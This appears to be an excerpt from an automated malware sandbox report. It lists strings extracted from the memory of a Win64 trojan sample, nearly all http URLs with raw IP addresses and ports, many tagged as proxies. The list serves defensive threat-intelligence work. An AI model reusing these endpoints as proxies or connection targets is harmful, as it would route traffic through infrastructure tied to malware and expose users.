Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.154.105:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.42.63.207:13802
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.42.63.207:13802://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.63.168.119:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.63.168.119:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.70.197.196:8050
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.70.197.196:8050://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.70.235.23:5454
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.70.235.23:5454://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.85.30.138
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C829F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.85.30.138://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C829F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.85.30.138:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.85.30.139
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.85.30.139://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.85.30.139:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.201.33.10:25283
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C902F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.201.33.10:25283://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.201.59.70:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.201.59.70:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.132.249
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.132.249://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.132.249:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:32909
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:32909://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:45919
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:45919://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:62654
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:62654://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:63177
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.162.103:63177://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.190.164:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.190.164:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.206.213.202:55555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.206.213.202:55555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.118:65149
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.118:65149://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.168:26711
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.168:26711://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.49:15335
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.49:15335://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.54:11542
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.54:11542://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C796D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.22.28.62:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C796D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.22.28.62:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.222.147.67:64879
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.222.147.67:64879://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.225.255.197:63280
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.225.255.197:63280://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.83:64874
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.83:64874://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C760E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:10867
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:10867://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:22775
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:22775://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:25639
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:25639://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:30999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:30999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E65000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:10011
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:10011://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA92B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:10863
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:10863://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:13897
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:13897://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:14681
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:14681://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91FC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C938E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:16251
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:16251://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:17685
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:17685://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:18309
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:18309://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:18475
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:18475://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:19567
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:19567://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:20469
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:20469://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:31071
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:31071://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:32065
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:32065://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:32425
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:32425://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:3621
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:3621://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:3739
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:3739://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:4479://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:4479xD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:9023
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:9023://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:17719
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:17719://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91D2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:24805
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:24805://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:25813
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:25813://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C696E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:30883
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C659E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:30883://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:32425
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:32425://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:6933
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:6933://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:6933HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:9039
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:9039://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.229:16553
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.229:16553://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.229:29003
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.229:29003://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:23685
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:23685://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.250:18003
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.250:18003://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.250:19895
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.250:19895://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C853A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:11339
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C853A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:11339://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:20863
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:20863://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:24105
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:24105://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:27487
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:27487://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6EE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC635000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.252:1499
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.252:1499://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.252:8325
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.252:8325://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:11983
